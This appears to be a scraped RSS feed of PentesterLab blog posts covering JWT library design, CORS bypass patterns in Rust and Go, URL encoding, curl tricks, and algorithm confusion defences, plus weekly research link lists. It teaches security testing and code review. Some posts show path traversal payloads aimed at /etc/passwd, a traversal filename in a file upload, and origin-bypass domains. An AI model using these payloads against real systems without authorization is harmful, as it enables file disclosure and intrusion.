JWT tokens must be both decoded and validated. To make security the default, never offer a standalone decode method without validation. This can lead to scenarios where developers unintentionally use the JWT library insecurely by decoding tokens without verifying them. Always ensure that tokens are both validated and decoded together to prevent these vulnerabilities. If someone wants to bypass validation, they should have to go out of their way to do it: Make Secure the Default and Insecure Obvious.

4. Throw Exceptions on Validation Failures

When validation fails, if your programming language supports it, throw an exception. Don't leave any ambiguity or silent failures. This is crucial because silently ignoring validation failures or relying on a return value being checked can lead developers to mistakenly trust malicious tokens, resulting in vulnerabilities.

5. Enforce Time-Based Claims By Default

JWTs often include time-based claims such as exp (expiration), nbf (not before), and iat (issued at). These claims should be enforced by default. If a token has expired or is not yet valid, fail hard and fast. When generating a token, always include one of these claims; you don’t want to sign tokens that remain valid indefinitely.

6. Enforce Complexity for Secrets and Keys

Tokens are only as secure as their signing keys. Enforce strong complexity requirements for secrets and keys used to sign JWTs. Using weak secrets (e.g., secret or password) makes tokens vulnerable to brute-force or dictionary attacks. Keep in mind that secrets used to sign tokens are susceptible to offline brute-force attacks using tools such as HashCat.

7. Use Built-in Cryptography

Where possible, leverage the built-in cryptographic functionality provided by the programming language. This makes your code more portable and consistent with the ecosystem. If no built-in cryptographic functionality exists, use well-established libraries like OpenSSL or BouncyCastle. These libraries have been thoroughly vetted by the security community and will save you from implementing your own crypto, which is likely to result in significant security vulnerabilities.

8. Keep It Simple

Complexity is often the enemy of security. Keep your JWT library as simple as possible. Avoid adding unnecessary features or clever shortcuts that might introduce vulnerabilities. Write simple, readable code that is easy to maintain and audit. Security often comes down to being able to trust that the code does exactly what it says—nothing more, nothing less.

Final Thoughts

Designing libraries is all about making secure practices easy and insecure practices difficult or impossible. By focusing on these core principles, you can create a library that serves developers well and protects the integrity of their applications. Security is a shared responsibility between library creators and users, but the more proactive you are about setting secure defaults, and error-proofing your library, the less likely it is that your library will be the source of vulnerabilities.

If you are interested in hands-on practice, explore our JWT Security Labs to enhance your understanding of these principles in action.

]]> Tue, 10 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/secure-jwt-library-design https://pentesterlab.com/blog/secure-jwt-library-design h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Busy week! It seems like everyone is wrapping up their research for the year and sharing it with the world! 🌟

🛠️ Compromising OpenWrt Supply Chain via Truncated SHA-256 Collision and Command Injection

If you can only read one article this week, make it this one! A well-written and highly detailed walkthrough on a truncated collision to gain command execution. Truly worth your time!

🔥 Remote Code Execution with Spring Boot 3.4.0 Properties

From file write to RCE, again! After last week's article from Steven Seeley, Elliot Ward has published two new methods to achieve the same result in the article Remote Code Execution with Spring Boot 3.4.0 Properties.

💎 Gem::SafeMarshal Escape

Another fantastic article from Luke on Gem::SafeMarshal escape. A must-read for Ruby enthusiasts!

🔍 CSPT the Eval Villain Way!

A comprehensive walkthrough on how to use and leverage Eval Villain to discover and exploit Client-Side Path Traversal. Don't miss it!

🌟 Shiny Vulnerabilities in R's Most Popular Web Framework

R code review, anyone? Check out this insightful article from Luke: Shiny Vulnerabilities in R's Most Popular Web Framework.

👾 XS-Leaks through Speculation Rules

An excellent CTF write-up on leveraging speculation rules to exploit XS-Leaks. A great read for enthusiasts!

🛡️ Bypassing WAFs with the Phantom $Version Cookie

An intriguing article from PortSwigger Research on leveraging parsing differences in cookies to bypass WAFs: Bypassing WAFs with the phantom $Version cookie.

]]> Sun, 08 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week49-2024 https://pentesterlab.com/blog/research-worth-reading-week49-2024 After my recent article on CORS Vulnerabilities in Go: Vulnerable Patterns and Lessons, I started exploring similar issues in Rust. Interestingly, the vulnerabilities are quite similar and easy to spot. Essentially, you only need to look for Rust equivalents of Go's strings.Contains(), strings.HasSuffix(), and strings.HasPrefix(). While I didn’t plan to dive into those common patterns here, I came across a unique strategy worth discussing.

Starts with...

Just like in Go, we can find examples of vulnerable Rust code on GitHub with a few simple searches:

fn set_default_cors(origin: &str, req: &mut Response) {
    if origin.starts_with("https://www.youtube.com")
        || origin.starts_with("https://youtube.com")
        || origin.starts_with("chrome-extension") {
     // ...
    }
}

This snippet checks if the origin starts with https://youtube.com or https://www.youtube.com. Unfortunately, this logic can be bypassed with URLs like http://youtube.com.pentesterlab.com, for example. I quickly reported it and it was quickly fixed.

Contains...

Another example of a vulnerable check can be found in this snippet:

if origin.contains("example.com") || origin.contains("localhost") {

This only checks that the origin contains example.com or localhost. We can bypass this check using example.com.pentesterlab.com, for example.

It's pretty easy to find other examples like:

origin.contains("127.0.0.1") || origin.contains("localhost")

The Strategy That Caught My Interest

This is the code that got me to write this blog post:

pub fn self_pre_link(ctx: &Context) -> String {
    let host = ctx.header("Host");
    let origin = ctx.header("Origin");
    if origin.ends_with(&host) {
        return origin;
    }
}

We can see that the code retrieves the Host and Origin headers and checks if the Origin header ends with the Host header. This is an interesting strategy. Unfortunately, it can be easily bypassed. For example, if the website is hosted under example.com, an attacker can leverage the domain hackingexample.com to bypass the restriction.

Final Thoughts

These are another set of low-hanging fruits that you can easily discover in codebases on GitHub. Even Rust isn’t immune to these kinds of vulnerabilities.

]]> Thu, 05 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/rust-cors-vulnerabilities https://pentesterlab.com/blog/rust-cors-vulnerabilities If you read this blog regularly, you know that I like looking at CVE. I do that to create labs and security code review content for PentesterLab and for my Web Security Code Review Training. This article covers my latest discoveries...

Play with docker...

It all started with play with docker and CVE-2023-28109. A classic example of vulnerable CORS policy. You can find a copy of the commit fixing the issue below (ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a):

--- a/handlers/bootstrap.go
+++ b/handlers/bootstrap.go
@@ -70,10 +70,10 @@ func Register(extend HandlerExtender) {
 
        corsHandler := gh.CORS(gh.AllowCredentials(), gh.AllowedHeaders([]string{"x-requested-with", "content-type"}), gh.AllowedMethods([]string{"GET", "POST", "HEAD", "DELETE"}), gh.AllowedOriginValidator(func(origin string) bool {
                if strings.Contains(origin, "localhost") ||
-                       strings.HasSuffix(origin, "play-with-docker.com") ||
-                       strings.HasSuffix(origin, "play-with-kubernetes.com") ||
-                       strings.HasSuffix(origin, "docker.com") ||
-                       strings.HasSuffix(origin, "play-with-go.dev") {
+                       strings.HasSuffix(origin, ".play-with-docker.com") ||
+                       strings.HasSuffix(origin, ".play-with-kubernetes.com") ||
+                       strings.HasSuffix(origin, ".docker.com") ||
+                       strings.HasSuffix(origin, ".play-with-go.dev") {
                        return true
                }
                return false

We can see that the vulnerable code allowed someone with a domain ending in play-with-docker.com, play-with-kubernetes.com, docker.com, or play-with-go.dev to bypass the security check. For example, the domain penetesterlab-docker.com could be used since it ends with docker.com. This is a classic example of vulnerable CORS policy.

[As a side note, using strings.HasSuffix(...) and only validating the hostname or domain should be improved by also checking the scheme to enforce the use of TLS (e.g., forcing https instead of also allowing http).]

BUT, wait a minute...

Now if you look at the line before the vulnerable code, you may spot another issue that wasn't fixed: strings.Contains(origin, "localhost") . Basically, any domain that contains the string localhost can be used to bypass this check. For example, localhost.pentesterlab.com can be used.

That got me interested, and I decided to go down the rabbit hole...

Starts with...

From there, I looked at a few more codebases on GitHub and found other examples of vulnerable code.

Another example of a vulnerable check can be found in this snippet:

if strings.HasPrefix(origin, "http://localhost") {

This only checks that the origin starts with http://localhost. We can bypass this check using http://localhost.pentesterlab.com, for example.

Contains...

Another example of a vulnerable check can be found in this snippet:

return strings.Contains(origin, "example.com")

This only checks that the origin contains example.com. We can bypass this check using example.com.pentesterlab.com, for example.

My favorite one so far

I really like this last one:

config.AllowOriginFunc = func(origin string) bool {
  // get allowed origin domains from env
  originsFromEnv := os.Getenv("ALLOW_ORIGIN_DOMAINS")
  origins := []string{"localhost", "example.com", "127.0.0.1"}
  isAllowedThisOrigin := false

  origins = append(origins, strings.Split(originsFromEnv, ",")...)

  for _, allowedOrigin := range origins {
	  if strings.Contains(origin, allowedOrigin) {
		  isAllowedThisOrigin = true
		  break
	  }
  }

  return isAllowedThisOrigin
}

We can see that the code allows a hardcoded list of origins origins := []string{"localhost", "example.com", "127.0.0.1"} as well as an environment variable ALLOW_ORIGIN_DOMAINS. The check is done using strings.Contains(...), which is not secure as we saw before. We can bypass this check using example.com.pentesterlab.com, for example.

What makes this snippet my favorite is how the environment variable is handled... If the environment variable ALLOW_ORIGIN_DOMAINS is not set, strings.Split(originsFromEnv, ",") will return an empty string. The list of allowed origins origins will contain an empty string. When matching the origin origin, the code will check if origin contains an empty string, which will always return true, effectively allowing all origins.

Final Thoughts

I recently gave a talk on "What developers get for free," explaining how important it is to provide functions/methods at the language level to make developers' lives easier. One of my final points was that languages should provide a built-in way of checking if a hostname or an origin is part of a domain. I think this article highlights why...

]]> Mon, 02 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/golang-cors-vulnerabilities https://pentesterlab.com/blog/golang-cors-vulnerabilities h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Only content from Australia and New Zealand this week! Is the rest of the world asleep?

💎 Ruby 3.4 Universal RCE Deserialization Gadget Chain

If you like Ruby as much as I do, you will love Luke's post on Ruby 3.4 Universal RCE Deserialization Gadget Chain. Explore his improvements on the previous Ruby gadget.

🪄 Remote Code Execution with Spring Properties

From File Write to RCE, Steven guides us through this "tour-de-force" in this latest article: Remote Code Execution with Spring Properties.

🌐 Cross-Site POST Requests Without a Content-Type Header

Another article from Luke: Cross-Site POST Requests Without a Content-Type Header. While you're at it, read the rest of the blog 😉

👺 Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software Vulnerabilities

I'm just going to share the first sentence of this article: "A goblin emoji and an empty string are the same thing, according to Microsoft SQL Server". That should be more than enough to pique your interest... Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software Vulnerabilities

🔐 Windows - Data Protection API (DPAPI) Revisited

A great article from Claudio who I met twice this year! Deep dive into the Data Protection API in this article Windows - Data Protection API (DPAPI) Revisited.

]]> Sun, 01 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week48-2024 https://pentesterlab.com/blog/research-worth-reading-week48-2024 When talking with aspiring hackers, bug bounty hunters, or application security engineers, it often feels that there’s some misunderstanding around encoding. Many seem to view it as a "magic wand" that can bypass filters and open the gates to exploitation—some kind of magical hacking fairy dust you sprinkle on your input to make the "hacking" work.

Let’s be clear: Encoding is not magic.

Encoding transforms data into a different representation, often for safe transport or storage. But for encoded data to be meaningful, something in the application stack must decode it. If you double-encode something, you need something to decode it twice—or two components to decode it once each. Without decoding, encoding alone achieves nothing.

Encoding Requires Decoding

Your application or its underlying systems won’t magically interpret encoded data. Let’s take an example of path traversal: attempting to access sensitive files by encoding ../ into %2e%2e%2f (URL encoding).

What happens without decoding?

You can try in your favorite language. If a value is kept encoded, it simply won't work:

• In PHP:

<?php
echo file_get_contents('%2e%2e%2f%2e%2e%2fetc%2fpasswd');
?>

Output:

Warning: file_get_contents(%2e%2e%2f%2e%2e%2fetc%2fpasswd): Failed to open stream: No such file or directory

• In Ruby:

irb(main):001:0> File.read('%2e%2e%2f%2e%2e%2fetc%2fpasswd')

Output:

Errno::ENOENT (No such file or directory @ rb_sysopen - %2e%2e%2f%2e%2e%2fetc%2fpasswd)

• In Python:

f = open("%2e%2e%2f%2e%2e%2fetc%2fpasswd", "r")

Output:

FileNotFoundError: [Errno 2] No such file or directory: '%2e%2e%2f%2e%2e%2fetc%2fpasswd'

Without something decoding the value, it doesn't work.

Decoding in Action

Now, if something in the application stack is doing the decoding, we can see that it works:

require 'cgi'
filename = '%2e%2e%2f%2e%2e%2fetc%2fpasswd'

filename = CGI.unescape(filename) # <- This decodes '%2e%2e%2f' into '../'

File.read(filename) # Now it works, if the system permits the access

The same applies to other types of encoding and decoding. Unicode bypasses work because something in the application stack is normalizing the value. %bf%27 can become a single quote because it gets decoded and the charset isn't properly set. No magic—just code.

Final Thoughts

Encoding isn’t a magic trick. It works because something, somewhere is doing the opposite operation (decoding), and the filtering doesn't handle this properly. Understanding how applications decode data is key to both exploiting vulnerabilities and securing systems.

]]> Sun, 01 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/encoding-is-not-magic https://pentesterlab.com/blog/encoding-is-not-magic

Web hacking is a domain that rewards curiosity, persistence, and a hands-on approach to learning. To master the intricacies of web security, it's vital to immerse yourself in practical activities that challenge your technical and problem-solving skills.

Here are five essential activities that every aspiring web hacker should experience at least once:

1. Read the Source Code of an HTTP Request Parser 🛠️

Understanding how web applications handle HTTP requests at a low level is crucial for uncovering potential vulnerabilities. By reading the source code of an HTTP parser, you can gain a deep appreciation of how servers interpret incoming data—and how mistakes in this process can lead to security flaws.

A great starting point is the Tiny HTTP Parser used in TinyHTTPd. It’s a concise, straightforward implementation that will help you understand the core mechanics of parsing HTTP requests. You may even find a few vulnerabilities in it...

Pay special attention to how the parser handles edge cases like malformed requests, path traversals, or oversized headers. Analyzing these nuances will sharpen your ability to identify potential security gaps in real-world applications.

2. Write a Small Web Application 🧑‍💻

There’s no better way to understand how vulnerabilities arise than by building something yourself. To do that, it's important to build at least one simple application.

Try to develop a simple web application that includes key features such as:

• 🔑 User registration
• 🔒 Authentication
• 📁 File upload

As you implement these features, you’ll encounter common challenges such as input validation, secure session management, and safe handling of user-uploaded files. This hands-on exercise will deepen your knowledge of common pitfalls and how to avoid them. You will learn what is hard to get right for developers, what shortcuts they may take and what mistakes they may make.

To push yourself further, intentionally introduce vulnerabilities like SQL injection or insecure file uploads, and then practice identifying and mitigating them.

3. Read an RFC 📜

Request for Comments (RFC) documents form the backbone of the internet’s standards and protocols. Reading an RFC not only enhances your understanding of how the web functions but also equips you with the knowledge to spot deviations from these standards.

Here are a few must-read RFCs to get you started:

• RFC 2616: HTTP/1.1 Specification
• RFC 3986: URI Syntax
• RFC 5246: TLS Protocol Version 1.2

Don’t feel overwhelmed by the technical language—focus on understanding the key sections that relate to your interests. For example, if you’re investigating URL parsing bugs, RFC 3986 is a goldmine of insights.

4. Participate in a Capture The Flag (CTF) Competition 🏆

CTFs are a playground for hackers, offering real-world scenarios to test your skills in a competitive but educational environment. Whether you're exploiting vulnerabilities in web applications, analyzing network traffic, or solving cryptographic puzzles, CTFs offer a comprehensive introduction to the challenges of web security.

Many beginner-friendly CTFs provide hints and walkthroughs, making them an excellent way to learn.

CTFs not only enhance your technical skills but also teach you to think creatively—an essential trait for web hackers.

5. Fix a Vulnerability in an Open-Source Project 🛡️

Contributing to an open-source project by fixing a vulnerability is an invaluable experience. This task requires you to:

• 📚 Understand the codebase of a large project.
• 🔍 Identify the root cause of a vulnerability.
• 🛠️ Implement and test a secure fix.

The process will teach you how developers approach code security and the trade-offs they consider when implementing fixes. Additionally, it’s a great way to give back to the community and build your reputation as a security professional. Employers are more likely to hire you if they see your ability to find and fix bugs.

Final Thoughts 🌟

Becoming a skilled web hacker is a journey of continuous learning and practice. By diving into these five activities, you’ll build a strong foundation in web security, improve your ability to identify vulnerabilities, and hone your problem-solving skills.

Embrace the challenge, and don’t be afraid to make mistakes along the way—they’re an essential part of the learning process.

Ready to take the plunge? Start with one activity today and watch your skills grow exponentially.

]]> Wed, 27 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/essential-web-hacker-activities https://pentesterlab.com/blog/essential-web-hacker-activities

If you want to take your web skills to the next level, one tool you really need to master is curl. In this article, we will cover a few tricks to help you get there.

Why curl?

Compared to many web hacking tools or proxies, curl is far more reliable. It allows you to easily automate tasks or double-check results. Additionally, you can export network requests as curl commands in Chrome (via "Developer Tools" → "Network" → Right-click on the request → "Copy as cURL"), making it the perfect companion for manual testing.

Debugging your curl command

One key trick not many people use is debugging your payload. You can do this using netcat. In one terminal, start nc -l 1234, and in another terminal, run your curl command, pointing it to the netcat listener: curl http://127.0.0.1:1234. This will show exactly what curl sent:

$ nc -l 1234     
GET / HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*

A simple trick that can often make the difference between success and failure

Another way to debug your curl commands is to use --trace-ascii -:

$ curl http://pentesterlab.com/ --trace-ascii -
== Info: Host pentesterlab.com:80 was resolved.
== Info: IPv6: (none)
== Info: IPv4: 54.87.134.91
== Info:   Trying 54.87.134.91:80...
== Info: Connected to pentesterlab.com (54.87.134.91) port 80
=> Send header, 79 bytes (0x4f)
0000: GET / HTTP/1.1
0010: Host: pentesterlab.com
0028: User-Agent: curl/8.6.0
0040: Accept: */*

Personally, I prefer the netcat option, but it's always good to know multiple ways to do the same thing.

Properly test for directory traversal with --path-as-is

Many people miss directory traversal vulnerabilities in URLs because most HTTP clients (including your browser) canonicalize paths before accessing a URL. Using our previous trick, let’s better understand this behavior. Start a netcat listener (nc -l 1234) and use curl to access this URL: http://127.0.0.1:1234/../../../../../etc/passwd. Here’s what we see in the listener shell:

$ nc -l 1234
GET /etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*

Our directory traversal payload disappeared, it gets normalized by curl. Browsers behave similarly. This is where --path-as-is comes in handy. Running curl http://127.0.0.1:1234/../../../../../etc/passwd --path-as-is with the same listener gives:

$ nc -l 1234
GET /../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*

This time, curl sends exactly what we intended.

Stop messing with your hosts file using --resolve

Sometimes, you need to force DNS resolution to access an application (e.g., in one of our Recon Badge labs). Instead of modifying your hosts file (/etc/hosts on Unix, C:\Windows\System32\drivers\etc\hosts on Windows), use curl’s --resolve. For example, to send a request to pentesterlab.com but resolve it to localhost, start a netcat listener on port 80 (using sudo or root) and run: curl --resolve pentesterlab.com:80:127.0.0.1 http://pentesterlab.com. The listener output will be:

$ sudo nc -l 80  
GET / HTTP/1.1
Host: pentesterlab.com
User-Agent: curl/8.6.0
Accept: */*

Test for Directory Traversal in File Upload

You can use the -F option to upload files and test for directory traversal. For example, run:

curl -F "file=@pentesterlab.jsp;filename=../../../../../../../../hacker.jsp" http://127.0.0.1:1234/

Using netcat as a listener, you can confirm the payload:

$ nc -l 1234 
POST / HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*
Content-Length: 254
Content-Type: multipart/form-data; boundary=------------------------3PT5oqFUWiDeX4RxFham3k

--------------------------3PT5oqFUWiDeX4RxFham3k
Content-Disposition: form-data; name="file"; filename="../../../../../../../../hacker.jsp"
Content-Type: application/octet-stream

HACK THE PLANET

--------------------------3PT5oqFUWiDeX4RxFham3k--

We uploaded the local file pentesterlab.jsp (containing HACK THE PLANET) and tested for directory traversal attacks with ;filename=../../../../../../../../hacker.jsp. Nifty!

Saving your favorite arguments with .curlrc

Some curl arguments, like --silent, --path-as-is, or --cacert, are so useful you may want them enabled by default. You can make curl automatically use these arguments by adding them to your .curlrc file in your home directory:

$ echo --path-as-is >> ~/.curlrc
$ curl http://127.0.0.1:1234/../../../../../etc/passwd

We can verify that this works with netcat:

$ nc -l 1234
GET /../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:1234
User-Agent: curl/8.6.0
Accept: */*

You no longer need to remember and manually type all your favorite curl arguments.

Conclusion

Mastering curl is an essential skill for anyone looking to enhance their web expertise, whether for debugging, security testing, or automation.

As you incorporate these techniques into your toolkit, you’ll find that curl is more than just a command-line utility—it’s a fundamental part of understanding and interacting with the web. The simplicity and power of curl make it indispensable, and with continued practice, you’ll be able to use it to solve even the most complex challenges.

If you enjoy these kinds of tricks, don't miss our HTTP Badge. It's packed with lessons to deepen your understanding of HTTP and master the use of curl!

So, whether you're testing for vulnerabilities, automating requests, or troubleshooting issues, let curl be your go-to tool. Mastering it will not only elevate your technical expertise but also open new doors in web development and security testing. Happy hacking with Curl!

]]> Mon, 25 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/tricks-to-hack-with-curl https://pentesterlab.com/blog/tricks-to-hack-with-curl h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Busy week, some really interesting read this week!!

🔍 Reverse Engineering iOS 18 Inactivity Reboot

A lot of people have been talking about iOS 18 Inactivity Reboot, but only a few take the time to actually look at it in depth: Reverse Engineering iOS 18 Inactivity Reboot.

🔒 Exploring the DOMPurify library: Bypasses and Fixes (1/2)

Deep-dive into DOMPurify security with this article: Exploring the DOMPurify Library: Bypasses and Fixes. We can't wait for the second part!

🐪 Local Privilege Escalations in needrestart

The Qualys team is back with some cool bugs in needrestart. Who doesn't like some old-school Perl vulnerabilities...

🪲 Relaying Kerberos over SMB using krbrelayx

Another great article from the Synacktiv team, this time on Kerberos relaying.

🪲 Spelunking in Comments and Documentation for Security Footguns

An excellent article from Include Security. A few tricks worth reading: Spelunking in Comments and Documentation for Security Footguns.

📚 Paged Out #5

Paged Out is here with its latest edition. Check out Paged Out #5.

📚 AppSec eZine #562

AppSec eZine returns with its latest edition. Check out issue #562.

]]> Sun, 24 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week47-2024 https://pentesterlab.com/blog/research-worth-reading-week47-2024 When I wrote the first lab on algorithm confusion, I remember spending a bit of time trying to find a vulnerable library. As an attacker, you need a few things to go wrong to be able to exploit algorithm confusion attacks. In this blog post, we will cover why JWT libraries are not usually vulnerable to algorithm confusion.

A big part of learning security code review is to learn how developers commonly block attacks. The more knowledgeable you are about common ways to block attacks, the faster you are at reviewing code and the better you are at detecting anomalies that may be worth investigating.

What is algorithm confusion?

With JWT, the attacker can pick the algorithm used to verify how a token is signed as the algorithm is based on the alg attribute of the header.

Algorithm confusion attacks happen when an application uses asymmetric signature (RSA or ECDSA). When developers verify the signature they write code that looks something like this:


jwt.verify(public_key)

They are using the public key public_key to verify the signature. Under the hood, if for example the application uses ECDSA, the token will have a header indicating that ECDSA should be used and the following will happen:

ecdsa.verify(public_key)

However, as discussed earlier, the algorithm used is usually based on the header alg and is user-controlled. Therefore, if nothing prevents an attacker from picking another algorithm, the attacker can decide to change alg from ECDSA to HMAC and the code may end up executing:

hmac.verify(public_key)

This allows attackers to sign the token with the public key. Attackers can potentially discover the public key (since it's public, there is no reason to hide it) or they can recover it from one (for ECDSA) or multiple (for RSA) signatures.

PentesterLab offers a few challenges on exploiting this:

• JWT Algorithm Confusion that uses RSA and the public key is provided
• JWT Algorithm Confusion With RSA Key Recovery in which you need to recover the public RSA key from a few signatures
• JWT Algorithm Confusion With ECDSA Key Recovery in which you need to recover two potential ECDSA public keys from a signature (we also have a blog post on this attack that you can find here: Algorithm Confusion Attacks against JWT using ECDSA)

Now that we have a bit of background on algorithm confusion, let’s look at how JWT libraries usually prevent them!

How Are Algorithm Confusion Attacks Usually Prevented?

There are multiple ways to prevent algorithm confusion attacks, below are the most common ones I found during my code reviews.

Only supporting one family of algorithms

Sometimes KISS, Keep It Simple Stupid, works a charm for security, you eliminate the risk of algorithm confusion vulnerability if you only support one algorithm, for example, brianvoe/sjwt (Go) and Corviz/jwt (PHP) only support HMAC-signed tokens. brianvoe/sjwt goes even further; it only supports HMAC with SHA256. It doesn’t support ECDSA or RSA, so there’s no risk of algorithm confusion here! A smaller or simpler library can be the answer to security issues relying on complexity.

Matching the alg header to an algorithm set by the developer

Another way to prevent the attack is to validate the algorithm in the header and make sure it matches the one used to call verify(). We can find an example of this in garyf/json_web_token (Ruby):

    def verify(jws, algorithm, key = nil)
      validate_alg_match(jws, algorithm)
      […]

    def validate_alg_match(jws, algorithm)
      header = decoded_header_json_to_hash(jws)
      unless alg_parameter(header) == algorithm
        fail("Algorithm not matching 'alg' header parameter")
      end

As part of the call to verify(), the library requires developers using it to specify the algorithm to be supported. Since algorithm confusion attacks rely on the application blindly trusting the alg header, this mitigates the attack.

This also kills the None algorithm attack since the algorithm is enforced. One stone, two birds.

Not relying on the alg header

A similar approach can be found in nowakowskir/php-jwt (PHP). The library also forces the developers to explicitly indicate which algorithm should be supported.

class JWT       
{               
            
    /**         
     * List of available algorithm keys.
     */ 
    const ALGORITHM_HS256 = 'HS256';
    const ALGORITHM_HS384 = 'HS384';
    const ALGORITHM_HS512 = 'HS512';
    const ALGORITHM_RS256 = 'RS256';
    const ALGORITHM_RS384 = 'RS384';
    const ALGORITHM_RS512 = 'RS512';
            
    /** 
     * Mapping of available algorithm keys with their types and target algorithms.
     */ 
    const ALGORITHMS = [
        self::ALGORITHM_HS256 => ['hash_hmac', 'SHA256'],
        self::ALGORITHM_HS384 => ['hash_hmac', 'SHA384'],
        self::ALGORITHM_HS512 => ['hash_hmac', 'SHA512'],
        self::ALGORITHM_RS256 => ['openssl', 'SHA256'],
        self::ALGORITHM_RS384 => ['openssl', 'SHA384'],
        self::ALGORITHM_RS512 => ['openssl', 'SHA512'],
    ];

[...] 

    public static function validate(TokenEncoded $tokenEncoded, 

                             string $key, string $algorithm, ?int $leeway = null, 
                             ?array $claimsExclusions = null): bool
    {
        $tokenDecoded = self::decode($tokenEncoded);

        $signature = Base64Url::decode($tokenEncoded->getSignature());
        $payload = $tokenDecoded->getPayload();
        
        list($function, $type) = self::getAlgorithmData($algorithm);

        switch ($function) {
            case 'hash_hmac':
                if (hash_equals(hash_hmac($type, $tokenEncoded->getMessage(), $key, true), $signature) !== true) {
                    throw new IntegrityViolationException('Invalid signature');
                }
                break;
            case 'openssl':
                if (openssl_verify($tokenEncoded->getMessage(), $signature, $key, $type) !== 1) {
                    throw new IntegrityViolationException('Invalid signature');
                }
                break;
            default:
                throw new UnsupportedAlgorithmException('Unsupported algorithm type');
                break;

[...]


    public static function getAlgorithmData(string $algorithm): array
    {
        Validation::checkAlgorithmSupported($algorithm);

        return self::ALGORITHMS[$algorithm];
    }

The validate() method requires developers to provide an algorithm $algorithm, and use it to pick the function used for the verification. For example, if developers use HS256, the library is going to use ['hash_hmac', 'SHA256']. The library completely ignores the header alg provided in the JWT.

As a side note, it is worth looking at checkAlgorithmSupported() to see how they handle the None algorithm:

    public static function checkAlgorithmSupported(string $algorithm)
    {
        if (strtolower($algorithm) === 'none') {
            throw new InsecureTokenException('Unsecure token are not supported: none algorithm provided');
        }
       
        if (! array_key_exists($algorithm, JWT::ALGORITHMS)) {
            throw new UnsupportedAlgorithmException('Invalid algorithm');
        }
    }

The main difference between this approach and the previous one is that this library completely ignores the alg header and uses only the algorithm provided by developers leveraging the library .

Doing both!

The library auth0/java-jwt (Java) uses both of the previous methods.

You can verify a token using the code:

    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
    JWTVerifier verifier = JWT.require(algorithm).build();
        
    decodedJWT = verifier.verify(token);

Just by looking at this code, it's already pretty obvious that this is unlikely to be vulnerable to algorithm confusion since everything seems to rely on the algorithm (Algorithm.RSA256(rsaPublicKey, rsaPrivateKey)) set by the developers: JWTVerifier verifier = JWT.require(algorithm).build();.

This code will end up calling the following:

    public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
        verifyAlgorithm(jwt, algorithm);
        algorithm.verify(jwt);
        verifyClaims(jwt, expectedChecks);
        return jwt;
    }

    private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
        if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
            throw new AlgorithmMismatchException(
                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
        }
    }

We can see that when verifying a token, the library first calls verifyAlgorithm(...) that checks that the algorithm in the header matches the expectedAlgorithm.getName(). After doing that, the code does not even use the algorithm from the header and relies on the algorithm defined by the developer when calling algorithm.verify(jwt);. Defence in depth!

Preventing the use of public keys

Another mechanism is to try to detect the usage of public keys when HMAC based algorithms are used. jpadilla/pyjwt (Python) is a great example of this technique:

class HMACAlgorithm(Algorithm):
    """
    Performs signing and verification operations using HMAC
    and the specified hash function.
    """
    
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, hash_alg):
        self.hash_alg = hash_alg 
    
    def prepare_key(self, key):
        key = force_bytes(key)
        
        if is_pem_format(key) or is_ssh_key(key):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )
    
        return key

As part of the prepare_key() call, used before verifying a signature, the code throws an exception if the secret or key is_pem_format() or is_ssh_key().

And we can see the code of the function is_pem_format() below:

_PEM_RE = re.compile(
    b"----[- ]BEGIN (" 
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)       

def is_pem_format(key: bytes) -> bool: 
    return bool(_PEM_RE.search(key))

This method of blocking the attack is obviously not ideal as it relies on having the perfect list of all potential formats for the key. It also prevents people from having some keywords in their secret when they are legitimately signing with HMAC. What if a legitimate HMAC secret contains "BEGIN RSA PUBLIC KEY"?


We can see in the git history of pyjwt that the list was initially incomplete and also that the project had difficulties keeping the supported algorithms and the blocklist in sync with CVE-2022-29217 being an example of a bypass.


Probably not the approach I would recommend if used on its own. But it may be part of a defence in depth strategy.

Validating the type of the secret or key provided by developers

Another way to prevent algorithm confusion attacks is to rely on the type of the variable used to validate the signature. For example, WebdevCave/jwt-php (PHP) validates that the Secret used to validate the token is an instance of a valid type of secret using the method validateSecret():

abstract class Signer
    public function setSecret(Secret $secret): void
    {
        if (!$this->validateSecret($secret)) {
            throw new InvalidArgumentException('Invalid secret provided');
        }

        $this->secret = $secret;
    }

